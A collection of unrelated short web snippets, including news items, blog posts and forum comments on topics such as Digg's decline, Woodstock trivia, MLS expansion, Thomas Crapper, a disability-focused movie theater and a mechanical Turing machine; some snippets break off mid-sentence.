-Twenty eight years ago Russian army has entered Afghanistan. They stayed there for 9 years and more than 15,000 Russian soldiers were lost dead, much more were wounded or had psychological problems in their civil life later. The troops that were fighting against Russian army at that times were actively supported by Pakistan and Western World as an opposing effort of the Free World against the Evil Empire – USSR.  One of the most notable leaders supporting the rebels against the “Russian oppression” in Afghanistan was a Western supported Osama Bin-Laden. A few years later, when there were nobody to fight against in Afghanistan he found new victims for his fight. Now in the Free Western World that supported him before, with all the tactical skills his people were studied by Western instructors. In Russia there is a proverb, something like “Don’t dig a hole for someone else, as you will fall into it yourself”, some Russian soldiers found that it was true in this occasion, after learning that those guy they fought for years, took over the Afghanistan after they left and started to fight now against his supporters.  These are photos from that time when the Russian army was still there, mainly from private archives.
-The only way to consistently get stuff on the home page was to work at it like a job. And so, some people began to work at it like a job, and then it became their jobs. While some really thought of themselves as an important part of the journalistic enterprise, many others contracted out their services to entities of all kinds. Stripped of any institutional sense of editorial ethics, many Digg power users ended up promoting all kinds of crap along with good stories from legitimate writers and sites.  Meanwhile, everyday users were realizing that nothing they submitted ever even had a chance in hell of going to the front page. They weren't empowered netizens visiting from the future, but chumps who were being played by Digg and a bunch of "social-media consultants."  In short, the community broke. And the community, remember, is also the content machine. Without that, Digg was revealed to be just a bunch of computers waiting for people to add value to the thin offering of a social network. The site still gets a substantial amount of traffic, but that Myspace/Friendster smell of death hangs in the pixels.  There is one clear lesson from Digg's sale: the technology that powered a once-massive social network is worth about $500,000. All the rest of the value derives from the people that use it. Though scaling is tough, any developer in the world can build some profiles and let people connect up. It's an act of genius -- or an act of God, by which I mean luck -- to design a site constitution that makes people want to build their online lives at your URL (or in your app). Social networking companies are not technology companies as much as they are community companies.  To be honest, I don't know why anyone tries to start these things. No one has much of a competitive advantage, the space is crowded, you can't compete on price, and no one wants to join a Reddit for hermit crabs. Then I remember how social networks function: users produce the product and they *are* the product. Now that's some kind of good hustle.
-One of Miami’s most treacherous roads may get a serious safety upgrade, in the form of a ten-foot protected path for use by cyclists and pedestrians.  The Julia Tuttle Causeway, a six-lane divided freeway (part of Interstate 195) that connects midtown Miami and Miami Beach, posts a speed limit of 55 mph and has been the scene of plenty of deadly accidents over the years. In April of last year, 25-year-old Eber Vasquez was killed near the western section of the highway when a speeding car swerved into his bicycle from behind, sending him and his bike into the water.  “We’ve gotten a lot of requests for a protected path,” says Zak Lata, the FDOT bicycle and pedestrian coordinator for District 6, which includes Miami. “We’ve come to realize we really need to address every mode of transportation — not just cars. Mixing high-speed traffic with bicycles is intimidating, and there should absolutely be a barrier.”
-The first of three parts. Part two here. Part three here.  In the latest scandal which is getting millions of upvotes and front-page views today and will be forgotten tomorrow, Digg.com is shocked - shocked - to discover that political astroturf is going on on their very website!  Maybe it's a generational thing. You can say "email has a lot of spam" and not even raise granny's eyebrow any more. Knowledge of 419 scams is becoming so common, they even tape signs on the monitors at Internet cafes forbidding them. Malware certainly gets a lot of ink... heck, it's half the reason some people come to Linux.  But buying votes and opinions on social linking websites is exposed again, and again, and again, and again. And people go right on just believing that Digg, Reddit, or StumbleUpon front page like it was gospel.  The latest story at Alternet is considered news because this time it's political astroturfing. Big whoop. Conservatives, tea partiers, and religious organizations have been found in the past to use "think tanks" and special interest groups. It's all funded. It's all money that originally came from a corporation somewhere.  But anyway, Alternet is scandalized because Digg is being rigged by conservatives. And I always thought this was a clue.  That's from what, two and a half years ago?  This goes into some of my reasoning as to Why Social Bookmarking Will Always Suck.  This needs spotlighting. I know that I'm preaching to my own small choir here, but this needs to be trumpeted way out to the world. I think that 95% of web users just don't realize what a big business this is. I've been Googling phrases like "buzz marketing," "word of mouth marketing," "social media marketing," "influencer marketing," and "front page service," and there's just... no end to this. It involves the top, richest, biggest corporations in the world, and they really care about where your mouse is going to click next enough to fabricate a whole world of lies for it.  UPDATE ESPECIALLY FOR THE RON-PAULTARDS: I thought this went without saying on this website, but on my site I delete all comments supporting Ron Paul immediately. Why? Because I am a good person, that's why. I'd throw my own mother out in the snow for spamming Paultard propaganda on my site. And then delete it and disown her. So no, don't think you can talk me out of it.  You don't like it, you need to take it up with the University of Alabama-Birmingham's computer forensics research department. They proved - PROOOOOOVED - that the Ron Paul campaign for the 2008 election was spamming the Internet in 2007.  That's three years old, it's thoroughly documented, it's thoroughly established, it is incontrovertible, set in concrete, established fact, accepted dogma, gospel, carved into the face of the moon - a cliche.
-It’s a huge relief knowing that no one is truly unique. Everyone out there has a thousand counterparts who act basically the same, think basically the same things, and like basically the same stuff. Maybe they have a different faces, names, and jobs, but they’re entirely interchangeable. Everyone expects the same from all of them.  And that’s great! You never have to live up to the pressure of “being yourself.” There’s no real “you.” It’s just “be everybody else.” Just act accordingly to your approximate personality and upbringing bracket. You can use your peers to gauge your own success in life, and get really hopelessly mad at yourself when you don’t have everything they have that you want.  And when you scream and cry out to the vast, empty, unhearing cosmos, you get to know everyone else is doing that too! The universe won’t even let you revel in your misery. So, basically, there’s nothing ever worth worrying about.  T
-President Barack Obama is a well-known fan of the Chicago Bears, but even his day job as leader of the free world hasn't kept him from knowing what's good for Michael Vick.  Brooks: Asomugha vs. Samuel The Bucky Brooks examines.  The Eagles chose to keep Nnamdi Asomugha and trade Asante Samuel. Who's the better overall corner?examines. More ...  According to Zach Berman of The Philadelphia Inquirer, the president on Monday chatted football with Philadelphia Eagles cornerback Nnamdi Asomugha, who spoke at an Obama fundraiser in Oakland, Calif.  Said Obama about the Eagles' QB: "Tell Vick to slide."  The president apparently is aware of Vick's struggles to stay healthy during his NFL career. Vick has played a full 16-game season just once in nine seasons.  Don't do it for Andy Reid, No. 7. Do it for America.  UPDATE: It looks like Vick might take the president's advice to heart. On Wednesday, Vick tweeted this in reply:
-Jason Kidd is searching for answers after his team's 3-10 start. (Brock Williams-Smith/Getty Images) Jason Kidd is searching for answers after his team's 3-10 start. (Brock Williams-Smith/Getty Images)  The Nets lost their fifth straight game on Sunday - 109-97 to the Pistons - and were booed off the court by their own fans as the season they had such high hopes for continues to go awry.  And now there are some shots being taken in the locker room.  Rookie head coach Jason Kidd benched his starters to begin the fourth quarter on Sunday, and he said he should have let the second team finish the game.  MAHONEY: Bulls, Grizz, Warriors face uncertainty with stars out 'indefinitely'  “They deserved to play. I should have let them play the whole game or the whole quarter,” Kidd told the New York Daily News about his second unit. “They’re playing, you know, for one another. It’s not perfect but that group that gave us an opportunity by cutting it to eight.”  Paul Pierce took a shot back at Kidd, saying the coach needs to make better halftime adjustments. The Nets, who led by seven at the half, lost the third quarter 34-15 and have been outscored by a combined 96 points in the third quarters of their 10 losses.  “We got to understand teams aren’t going to play the same way they did in the first half as they did in the second half because teams make adjustments, especially when they are down,” Pierce said. “And we got to realize that and adjust with that.”  However, Kevin Garnett understood why Kidd benched the starters.  “If we’re not carrying our weight, then obviously [Kidd] is going to put somebody in that is. It’s tough times right now. “I think everybody here is embarrassed."  The Nets visit the Raptors on Tuesday before hosting to the Lakers on Wednesday.
-How do you top off a week at SXSW in front of a massive live audience? With Bill Murray. And if you think you’ve heard so many Bill Murray stories that he can’t possibly do anything new that would surprise you, you’re wrong because here comes Bill Murray. On a Horse. In a Dress. Escorted by a mariachi band.  There may never be an entrance to top Bill riding in sidesaddle, with some very shapely looking legs. Seriously are those stunt double legs? Wax em Bill? Only for special occasions apparently. The massiveness of Bill can not be contained so here are all seven clips of pretty Bill Murray on Jimmy Kimmel live. You’ll get Bills Bracket Talk. You’ll get Bill the Basketball Coach. Bills Swag Empire. Bill the Bartender complete with hydration advice. Bill’s Rick Ross story. And to top it all off, a story from the movie Meatballs. You may be shocked to know Bill did his own wardrobe and his own makeup for the movie. Find out why.  Watch more late night tv comedy clips.
-Courtesy  Toyota Field could one day be the home of a Major League Soccer team.  As San Antonio's new pro soccer team starts to grind through its inaugural United Soccer League season (San Antonio FC is undefeated through three games , by the way), the looming potential of Major League Soccer coming to town is the backdrop.Those big-league dreams got a little boost yesterday, when MLS Commissioner Don Garber officially confirmed that the league will expand to 28 teams at some point in the future.Although MLS' expansion to 28 teams had long been a widely accepted rumor, Garber's speech in Sacramento made the plan gospel. The league currently has 20 teams, and plans to add four more clubs by 2020 (in Minnesota, Miami, Atlanta and Los Angeles).San Antonio is scrambling to claim one of the four future slots, one of which may have already been claimed by Sacramento. During his speech yesterday, Garber said he "hopes and expects" California's capital to eventually land an MLS club, according toOther cities vying for a franchise include St. Louis, Phoenix, Nashville and Austin. MLS prefers sites with soccer-specific stadiums and proven soccer markets, both of which San Antonio boasts. Any city selected for MLS would have to pay an expansion fee, which could exceed $100 million.
-The 15th of August would mark the 45th anniversary of the most iconic music festival in history, the one where it all started – Woodstock ’69. Ladies and Gentleman, here are some eye-brow raising Woodstock ’69 trivia courtesy The Sherp.  1.The Beatles weren’t there.  Yes, this is very true. There are however, varying theories about why they ditched the festival. John Lennon (the vocalist) informed organizers that he was refused a U.S Visa at the time. Although a lot of people believe the reason behind their absence was because John Lennon’s wife’s – Plastic Ono Band was refused an invitation by the promoters. Ouch.  2. Bob dylan, didn’t attend Woodstock because he didn’t like hippies.  I bet he regrets that now.  3. Three days of music and no crowd violence.  It truly was a magical festival. During the three days of constant music and love with around half a million people at the venue, there were no reported incidents of violence. Pot, hashish, hallucinogenic drugs and drug paraphernalia were available to buy which lead to around 400 reported bad LSD trips. There were a few arrests, the traffic jams were particularly hellish, there was a shortage of food and STILL no crowd violence.  4. Babies were born.  There were various reports of heavily pregnant women being rushed to nearby hospitals to deliver. John Sebastian, vocalist of Lovin’ Spoonful even announced from stage, “Some cat’s old lady just had a baby, a kid destined to be far out!”  5. Ravi Shankar found Woodstock ‘terrifying’.  Apart from being one of the only Indian musicians to perform at Woodstock, renowned Sitar player Ravi Shankar did not share his contemporaries’ excitement about the festival. He once said it was a terrifying experience, where the large crowds lounging in the mud reminded him of water buffaloes in India.  6. There was a shortage of food.  ‘Shortage of food’ is an understatement. Because of what we’re assuming was a serious lack of planning or an underestimate of attendees, the festival ran out of food on the very first day. After appealing to neighborhoods around the venue, members of the Monticello Jewish Community handed out sandwiches made out of 200 loaves, 40 pounds of meat & two gallons of pickles. Some attendees also resorted to drinking milk straight out of cows.  7. The festival was named Woodstock, but didn’t actually take place in Woodstock.  Although it was supposed to be held in Woodstock, New York the organisers had a harm time finding a suitable location that was available (especially because the amount of hippies the festival was going to pull in). They finalized on having it at Bethel Woods on some good Samaritan’s farm – Max Yasgur. God bless his soul.  8. There have been four attempts to recreate the festival on different sites.  In 1979, 1989, 1994, and the disastrous 1999 festival, which was shut down because of rapes, arson and overall violence – many called it the day music died.  9. Iron Butterfly wanted the organisers to fly them in on a helicopter. The organizers replied with an anagrammed “Fuck you”.  Iron Butterfly were stuck at the airport in New York and were unable to get to the festival by ground transportation, so they demanded the festival promoters send a helicopter for them. According to many a storyteller, the promoters sent the band’s manager a telegram, the first letter of each line spelling out the words “Fuck You.” So, no. Iron Butterfly didn’t show up.  10. The venue was filled with hippie-tastic signs like these.  .  11. That’s what 400,000 people at a festival looks like.  12. Jimi Hendrix’s performance of The Star-Spangled Banner (The American National Anthem) has been often called ‘the single greatest moment of the Sixties’.  Even though, it was only witnessed by a fraction of the crowd. Most attendees had gone home by the time Hendrix took stage at 9 am on a Monday morning.  13. Nevermind The Beatles, British musician Joe Cocker played the most beautiful rendition of The Beatles’ song “With A Little Help From My Friends”. Another iconic performance in Woodstock history.
-I'd argue that making them too specified with that Covenant of Primus book was a mistake since it only ended up ditching accepted facts about the few defined Thirteen Primes up to that point anyway for the worst reasons. The most offending of them of course being how The Fallen went from basically the Transformers equivelent of Satan (always on fire, turned to evil from Unicron's temptations of power, etc.) to essentially a carbon copy of Prime Megatron who turns evil because of a love triangle. And then Optimus Prime being a reincarnated member is just completely stupid as well.  The Thirteen as a general concept works, but the full roster should never, EVER be filled out completely. Leave some members defined if only barely anything more than a name (Vector, Fallen, Maximo, Nexus) but leave it open for the various mythologies to fill in the blanks in their own way. These are mythological beings we're talking about, they should be defined just as much by untrue fantasy as hard facts.  Click to expand...
-"Take a bow, capitalism." That's from the Economist, a business-happy publication that has every reason to perpetuate the myth that a world run by free enterprise is improving people's lives. Its story continues with an astounding claim: "The world now knows how to reduce poverty." Perhaps by presenting questionable data that seems to support what the business community wants us to believe.  Other super-capitalists are similarly exuding hyperbole in defense of their shaky beliefs. Said a spokesman for the American Enterprise Institute: "It was the American free-enterprise system that started to spread around the world. They looked at you and said, 'I want to have their life, their freedom, and their stuff, and they threw off their chains of poverty and tyranny.'" But it's clear, when the facts are checked, that the chains of poverty are being wrapped around more and more human beings.  Extreme Poverty Has Increased, in Terms of Wealth  According to the Credit Suisse Global Wealth Databook 2016, the median wealth of the world's adults is $2,222, down from $3,248 at the end of 2007. While the rich people of the world have taken more than their share of the $35 trillion wealth gain since the recession, the world median has dropped by over $1,000!  There are other recent indications of rising poverty. Based again on Credit Suisse wealth data, in just seven years the world's Gini Coefficient, the most widely accepted measure of inequality, has surged from 88.1 to 92.7. Wealth inequality between countries has grown dramatically. It's a stunning rise, further evidence of a world splitting into two.  A widely held misconception is that global inequality between countries is declining because of growth in China and other developing countries. But that claim is generally made with respect to income inequality, and it is only partially true. Global income inequality is down only in relative terms, in the sense that an income boost from $1 to $2 a day is greater in percentage than an income boost from $1,000 to $1,500 a day.  SPONSORED  The Poverty Threshold Is Absurdly Low  The world poverty threshold was recently increased by the World Bank from $1.25 to $1.90 per day. Numerous sources have recognized the absurdity of this dollar amount for day-to-day survival. The United Nations Conference on Trade and Development argues for a $5 minimum; ActionAid says $10; even the World Bank admits that the $1.90 poverty line is "too miserly for middle-income countries," and that"more than 50 percent of the population in IDA [the world's poorest] countries live on less than US $6 a day and are considered at high or moderate risk of relapsing into poverty."  In addition, the poverty threshold has not kept up with inflation. The World Bank set the first poverty threshold to $1.01/day using 1985 purchasing power parity. It eventually raised the threshold to $1.90/day at 2011 purchasing power parity. But with inflation, $1.01 in 1985 is equivalent to $2.10 in 2011. The World Bank's most recent threshold adjustment falls far short of realistic human needs.  Taking Credit for China, and Further Fudging the Numbers  Most of the so-called "escape from poverty" has occurred in China, where starting in the 1980s millions of residents of farming communities moved en masse to the cities for jobs in the factories of technology and in service-related positions.  The UN's Millennium Development Goals took advantage of this in the year 2000, calling for a halving of poverty, but backtracking to the year 1990 to include the income gains across China. The UN also revised statistical and caloric standards to ensure that its poverty reduction goals were reached.  An Extra $1 a Day, but is it Worth It when You're Living in These Conditions?  China may have pulled millions "out of poverty," but in reality they've gained a few dollars a day while the country has become increasingly unequal in terms of wealth. The new Chinese "middle class" has in many ways gone backwards. According to China Labor Watch, weekly working hours in Apple's factories surpass 60 hours, much of it without compensation. Toy builders labor in the factories 11 hours a day, 6 or 7 days a week, earning minimum wage, while at night 10 workers share a small dormitory room that may not even have hot showers. In the factories making products for Walmart and Home Depot, there are hundreds of underpaid student workers who labor in workshops that are hot and dusty, with volatile chemicals in the air, but with few health safeguards.  Numerous surveys and studies h ave made it clear that the Chinese people, despite their nation's unparalleled economic growth, are no happier than they were 20 years ago, and have generally experienced a loss of well-being in their daily lives.  It goes well beyond China. BBC journalist Paul Mason writes that the developing world middle class is characterized by life in a "chaotic mega-city, cheek-by-jowl with abject poverty and crime, crowding on to makeshift public transport systems and seeing your income leach away into the pockets of all kinds of corrupt officials.." In a review of Mike Davis' "Planet of Slums," urban areas are described as "horizontal spreads of unplanned squats and shantytowns, unsightly dumps of humans and waste, where child labour is the norm, child prostitution is commonplace, gangs and paramilitaries rule and there is no access to clean water or sanitation, let alone to education or democratic institutions." And, ironically, this is caused in great part by the policies of neoliberal institutions such as the World Bank, which would have us believe that conditions are steadily getting better.  Conditions getting better? Only in the minds of capitalists who don't want their comfortable lives disrupted by a rebellion among their billions of victims.
-Here comes another mega funding round in the bitcoin space. The world’s largest bitcoin wallet provider, Blockchain, has been a bootstrapped startup so far. But the startup eventually accepted VC money, raising a little bit over $30 million from Lightspeed Venture Partners, Wicklow Capital and others.  Richard Branson, Mosaic Ventures, Prudence Holdings, Future Perfect Ventures, and angel investors, such as Rafael Corrales of CRV, Amit Jhawar of Braintree and Nat Brown also participated in the round. Lightspeed Venture Partners’ Jeremy Liew will join the board.  “We are going to scale our product engineering team, we are going to build new features,” co-founder and president Peter Smith told me in a phone interview. “And for the first time ever, we are going to spend money on marketing.”  That’s the crazy part. Blockchain now manages 2.3 million bitcoin wallets, and didn’t take any outside funding so far — it was all organic growth and staying lean.  Back in May, Smith commented on the company’s bootstrapping strategy at TechCrunch Disrupt NY. “People ask ‘when are you going to raise money?’ We make money every single month,” he said. “We are a revenue-positive business. We manage a team of 20 people solely on that revenue stream.”  The company only stores encrypted files on its servers as a backup, but it doesn’t actually hold your bitcoins  Blockchain faces serious competition from multiple companies who raised mega rounds of funding. BitPay raised a $30 million Series A round, Coinbase raised a $25 million Series B round, Xapo raised $20 million in March and another $20 million in July, Circle has raised $26 million since its inception, and the list goes on.  Given Blockchain’s footprint, the company has been talking with VCs for a while. “This time we were sharing a vision and it’s not just cash. We found partners that we were comfortable with, and were adding value,” Smith said. But the funding will also be a key asset when it comes to keeping up with the competition and convincing the next 10 million bitcoin users.  Blockchain recently updated its two core open source wallets on Android and iOS. “Overall our growth on mobile is very strong,” Smith said. The startup wants to make it as easy as possible to manage your bitcoins without relying on a central service like Coinbase or Circle.  The company only stores encrypted files on its servers as a backup, but it doesn’t actually hold your bitcoins. When you log into a Blockchain wallet, the wallet fetches that file and decrypts it. It means that Blockchain is immune to hacker attacks and can’t take transaction fees.  Instead, Blockchain relies on its very popular services, starting with its wallets. Hundreds of millions of people also visit Blockchain’s websites every month (Blockchain.info, Zeroblock and Bitcoin.com). The startup’s revenue comes from ads.  With today’s funding round, the company will work on improving its core services and may launch a few new things in the coming months. It remains to be confirmed whether Blockchain’s decentralized way of handling bitcoins will eventually win compared to its competitors’ strategy.  Bitcoin conversions with traditional currencies are slowly becoming a commodity industry, especially for B2C services. For example, Circle doesn’t take any fee when you transfer USD from your bank account to its service. Many bitcoin startups will have to find alternative revenue streams, and Blockchain already has a head start.
-BUFFALO NARROWS, Sask. – An undercover operation by Saskatchewan conservation officers has resulted in over $50,000 in fines for four men. Officers launched the investigation in 2011 after a complaint was made about illegal outfitting and the abuse of walleye stock in the Buffalo Narrows region.  The undercover officers discovered illegal outfitting was taking place without a licence.  The abuse was found to be on such a large scale that it had the potential to affect the local walleye population.  “Left unchecked, entire fish populations can be decimated such as what happened to walleye populations at Big Peter Pond Lake several years ago,” said Ken Aube, an enforcement director with the Ministry of Environment.  “This impacts sport anglers, subsistence fishermen and commercial fishermen, who rely on the lake fishery to make a living.”  During their investigation, officers were also approached by subsistence fishermen who illegally sold fish to them.  Officers laid a total of 15 charges against four men under The Fisheries Act and Regulations.  The first of the four men pleaded guilty to four charges in May 2014. Leon Morin, from Buffalo Narrows, received fines totalling $19,360, a two-year commercial fishing licence ban and is also prohibited from helping anyone who is commercial fishing for two years.  READ MORE: Illegal fish sales net Saskatchewan man fine, ban  The other three were recently found guilty in Buffalo Narrows provincial court on the remaining charges.  Richard Hansen, from Buffalo Narrows, was convicted of unlawful outfitting, unlawful marketing of fish caught by subsistence fishing, providing subsistence fish to someone other than a family member and unlawfully setting a gill net. He was fined $18,510.  Maurice Billette, from Dillion, was fined $11,200 for unlawfully marketing fish caught by subsistence fishing.  Danny Billette, also from Dillion, was handed a $1,750 fine for unlawfully marketing fish caught by subsistence fishing.  Ministry of Environment officials say fish can be purchased for personal consumption only from a licensed commercial fisherman or a fish dealer. When buying fish this way, vendors are required to provide a receipt that includes the following:  seller’s name, address, and licence number;  the body of water where the fish were caught;  the fish species;  the form it was purchased;  quantity; and  sale price and date.  Officials say anyone who is approached to buy fish and believes the sale is illegal should contact their nearest Ministry of Environment office, the province’s turn in poachers (TIP) hotline at 1-800-667-7561 or online.
-Mitt Romney did not back down from his feud with Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE at a GOP dinner Tuesday night.  The former Republican presidential nominee joked about the billionaire’s foreign-born wives.  ADVERTISEMENT  “Donald Trump has had several foreign wives. It turns out that there really are jobs Americans won’t do,” Romney reportedly quipped at the annual dinner hosted by the National Republican Congressional Committee (NRCC).  Mitt Romney at @NRCC dinner: "Donald Trump has had several foreign wives. It turns out that there are really are jobs Americans won't do." — Kris Hammond (@KrisHammond) March 23, 2016  Trump’s first wife, Ivana, was born in Czechoslovakia. Melania, his third wife, is from Slovenia.  Romney also touched on Trump’s questioning of his faith.  “He could have just asked my wives,” Romney said.  Mitt on Trump at NRCC dinner on whether he's actually a Mormon: "He could have just asked my wives." — Keith Urbahn (@keithurbahn) March 23, 2016  Trump bashed Romney at a rally in Utah last week, asking his supporters if Romney was really Mormon.  “Are you sure he’s a Mormon? Are we sure?” Trump said.  The billionaire has since said it was joke.
-It is a common misconception that the modern flush toilet was invented by a 19th-century British plumber named Sir Thomas Crapper. Crapper (1836–1910) most certainly did exist, and he was a plumber. He also improved the functionality of the early flush toilet (or "privy," or "water closet," as it was then called). But he did not, contrary to popular lore, invent the pseudo-eponymous bathroom appliance from scratch.  Why We Call It the “John”  Credit for inventing the toilet goes to 16th-century courtier Sir John Harington, who not only came up with the idea but also installed an early working prototype in the palace of Queen Elizabeth I, his godmother. Harington, a noted wit, entitled his description of the device "A New Discourse of a Stale Subject."  It consisted of a large pan ("stools pot") with a seat, the contents of which could be flushed out down a pipe and into a cesspool below with water from a cistern or holding tank above. Except for the turning of a handle to initiate the flush, gravity did all the work.  "If water be plenty, the oftener it is used and opened, the sweeter," Harington wrote of his contraption. But if water was scarce, he continued, "once a day is enough, for a need, though twenty persons should use it...And this being well done, and orderly kept, your worst privy may be as sweet as your best chamber."  Crapper’s Contribution  The first patent for a flushing water closet was issued to watchmaker and inventor Alexander Cumming in 1775, 60 years before Thomas Crapper was born. But Crapper was in the right place at the right time and knew an opportunity when he saw one.  The son of a Yorkshire steamboat captain, young Tom Crapper's destiny was set when he was apprenticed to a master plumber in Chelsea, London, at the age of 14. By the time he was 25, he had owned his plumbing shop. As the business grew, Thomas realized that in addition to making money as a plumber he could meet the growing demand for bathrooms featuring functioning toilets. This led him to open one of the very first bathroom showrooms, in 1870. An industrious sort, Crapper was awarded nine patents for plumbing innovations during his lifetime, three of them consisting of improvements to the flushing water closet, or toilet, as it came to be known.  Another Myth Debunked  Though he made his name as a sanitary engineer to blue bloods, his company supplied plumbing fixtures to Windsor Castle, Buckingham Palace, and Westminster Abbey, among other royal estates. Crapper himself was lowborn and was never knighted. So, it's a mystery why storytellers insist on awarding him the title "Sir,” although that misconception might account for why we sometimes call our bathrooms "throne rooms." Compounding the error, Crapper is sometimes referred to as "Sir John Crapper."
-Ridgefield’s Prospector Theater a haven for those with disabilities  Prospector Theater Director of Development Mike Santini talks about the theatre and it's employees. Friday, March 24, 2017, in Ridgefield, Conn. Prospector Theater Director of Development Mike Santini talks about the theatre and it's employees. Friday, March 24, 2017, in Ridgefield, Conn. Photo: H John Voorhees III / Hearst Connecticut Media Buy photo Photo: H John Voorhees III / Hearst Connecticut Media Image 1 of / 18 Caption Close Ridgefield’s Prospector Theater a haven for those with disabilities 1 / 18 Back to Gallery  RIDGEFIELD—Even though the Prospector Theater is the best-performing independent four-screen movie theater in the tri-state area, the movies are only a side attraction of the business.  The most important product of the nonprofit theater, said Director of Development Mike Santini, is the community of empathy it creates for both staff and moviegoersf. The Prospector, refurbished in 2014 to its original purpose as a movie theater, was created by Valerie Jensen with the mission of providing meaningful employment to adults with disabilities.  Today, 70 percent of the 107-person staff identify as having a disability. The staff members, called “prospects,” are responsible for running all parts of the theater—making popcorn, greeting customers, cleaning the theater and even creating advertisements and promotional videos to show before each screening.  “It’s not just going to the movies,” Santini said. “We’ve built a community here…the movie theater is our vehicle to do that. It brings people into the doors, but in turn they have the opportunity to interact and engage with our prospects and see the talent, the passion and hard work and shatter those expectations of what it means to have a disability.”  Jensen, Santini said, grew up with a sister with Down syndrome and dedicated her life to helping those with disabilities. She had worked as the executive director of a nonprofit that provided arts experiences for those with disabilities before realizing that many friends with disabilities didn’t have jobs, despite trying to find employment. She decided to create the Prospector.  According to the Bureau of Labor Statistics, only 17.5 percent of people with disabilities were employed as of 2015.  The Prospector, with 107 employees, hires about 10 times more people than other theaters of its size, Santini said, but the focus is on making each job meaningful.  “We don’t create jobs just for the sake of creating jobs,” he said. “It has to fit into what already goes on here.”  The theater works with prospects to tap into their “sparkle,” their inner passions, to find the most appropriate job. Each employee is allowed to try several jobs at the theater before committing to one, or a few, that suits him or her.  Training is also tailored to individual learning needs, Santini said.  Daniel Conille, who works as an usher and makes promotional videos for the theater, said he discovered a passion for hip-hop since being hired three years ago.  When Conille started working, Santini said, he was nonverbal.  Through working one-on-one with Santini, who used to work for a hip-hop nonprofit, Conille grew confident enough to star in promotional rap videos that show before the movie screenings. Conille has since won awards for his raps and even performed at the Kennedy Center in Washington, D.C., for the World Hip Hop Conference.  The theater also offers a variety of services to moviegoers with disabilities. Each month the theater holds a sensory-friendly screening with lights up and volume low so the audience can dance, sing, talk or walk around during the show. Sensory-friendly films are promoted by the Autism Society as a way for those living with autism to enjoy a movie in a safe and accepting environment.  For standard showings, Prospector offers narrative descriptions through headphones for those with impaired vision, closed-captioning glasses for deaf audiences, and regular headphones for those that are hard of hearing.  “Our goal is to not only bring in audiences that may have been excluded from movie-going,” Santini said. “Our prospect staff works specifically with the individual, their caregiver and families to show tips and strategies to make normal movie-going an everyday occurrence.”  The goal, Santini said, is to fully integrate adults with disabilities into the community and workforce.  The employment model at the theater differs from other employment opportunities where adults with disabilities are isolated from others, he said. He added that allowing them to integrate is beneficial for both the adults with disabilities and the community they live in.  “We often find that accommodating people with disabilities is an afterthought,” he said. “What we want to show the world is that it should be at the forefront. Once you include, engage and employ this population who has long wanted to be a contributing member, the benefits are tenfold.”
-My gift arrived via post yesterday, but as nobody was in the house when it arrived, there was a 'sorry we missed you card' waiting for me. My local post office depot is open quite difficult hours, so I ran there at 8am this morning as it's my last chance to get there before Saturday and I didn't want to keep my Santa waiting for a gallery post!  This is such a thoughtful gift. The coolest colouring book I've ever seen, and some fancy watercolour pencils to use with it! They're the nicest pencils I've had in a long time, this isn't usually the kind of luxury I can spring for!  You're right Santa, the theme of book does hit the escapism nail on the head. It was so nice to get me something that my niece can enjoy too. I may wait until she's a bit better at colouring (she's terrible :| even for a four year old) to let her colour it in with me, but she can certainly colour in her My Little Pony books next to me, and will love helping with the searching activity!  What you won't know is that at the moment I'm very jittery and anxious, and constantly need something to keep my hands and and that distract-able part of my brain busy, even when doing things like watching TV and films - so this will make a lovely and soothing alternative to my usual cubing :)  Thanks so much Santa! I can't wait to get started.  (I would have included a photo of them in their lovely wrapping paper, but I realised once I'd taken the photo and then opened them that I took the photo on my unsightly bedroom floor and then moved them to the bed... Sorry!)
-WASHINGTON — Sierra Nevada Corp. (SNC), who won one of three contracts from NASA in January to deliver cargo to the International Space Station, said July 11 that it is has completed the first milestone under that award.  The company said that NASA approved of its program integration plan for the design, development, test and evaluation of SNC's Dream Chaser vehicle. The company did not disclose the value of any payment it received from NASA for completing the plan.  The milestone is the first in the company's Commercial Resupply Services (CRS) 2 contract it received from NASA in January to transport cargo to and from the ISS. SNC was one of three companies to receive CRS-2 contracts, along with Orbital Sciences Corp. and SpaceX, who won the original CRS cargo contracts in 2008. Each company is guaranteed at least six cargo flights though the mid-2020s. [Dream Chaser: A Private Space Plane in Pictures]  "The accelerated completion of the first milestone under the CRS-2 contract award marks significant progress for SNC and the Dream Chaser program," Mark Sirangelo, corporate vice president of SNC's Space Systems division, said in a statement announcing the milestone.  The CRS-2 contract breathed new life into Dream Chaser, a lifting body design that SNC had been working on as part of NASA's commercial crew program. The company lost to Boeing and SpaceX in a 2014 competition for contracts to complete development of those vehicles and perform initial crewed flights to the ISS. SNC filed a protest, which the U.S. Government Accountability Office denied in January 2015.  SNC still has work to complete under an earlier commercial crew award it received from NASA in 2012. Sirangelo, speaking at the Space Frontier Foundation's NewSpace 2016 conference in Seattle June 22, said the Dream Chaser engineering test article, which SNC compares to the prototype space shuttle Enterprise, would be shipped to NASA's Armstrong Flight Research Center in California "somewhere in the August timeframe" for a new phase of unpowered flight tests.  Those tests, which will include at least one glide test to a runway landing similar to what the test article performed in October 2013, will help test the design for the cargo version of Dream Chaser under development. "We're testing a lot of the stuff for the orbital vehicle now," he said. "We don't know how many tests we'll do, but it will be as many as we need."  SNC is also currently building the first Dream Chaser orbital vehicle that will fly those cargo flights. The first flight of that vehicle is planned for the second half of 2019, Sirangelo said, depending on NASA's schedule. He added he expected NASA to start making decisions on cargo mission manifests for the CRS-2 contract awardees by the end of the year.  This story was provided by SpaceNews, dedicated to covering all aspects of the space industry.
-For several years, [Jim] has wanted to construct a fully-mechanical universal Turing machine. Without the help of any electronic circuits or electrical input, his goal was to build the machine using simple hand tools and scrap materials.  If you are not familiar with the concept of a Turing machine, they are devices that manipulate symbols or input from a strip of tape, according to a set table of rules. By definition, a Turing machine should be adaptable to simulate the logic of any computer algorithm, albeit in a much slower fashion than you would see from a computer.  He has replaced the strip of tape with a wire grid, and the symbols have been implemented in the form of ball bearings placed on the aforementioned grid. His hand-cranked machine uses magnets to lift the input symbols from the grid, processing them according to the rules table he routed out of a wood block.  The implementation is definitely clever, though [Jim] admits it is not without its problems. He took it to Maker Faire UK, and most people didn’t quite understand what they were seeing without a full explanation. The machine is not quite as reliable as he would like it to be, and he would like to make it a bit more powerful as it currently would take months to add two numbers together.  Keep reading to see a brief video demo of his Turing machine in action, and check out his blog if you want to see more information on how the machine was built.  Interested in seeing more Turing machines? Check out 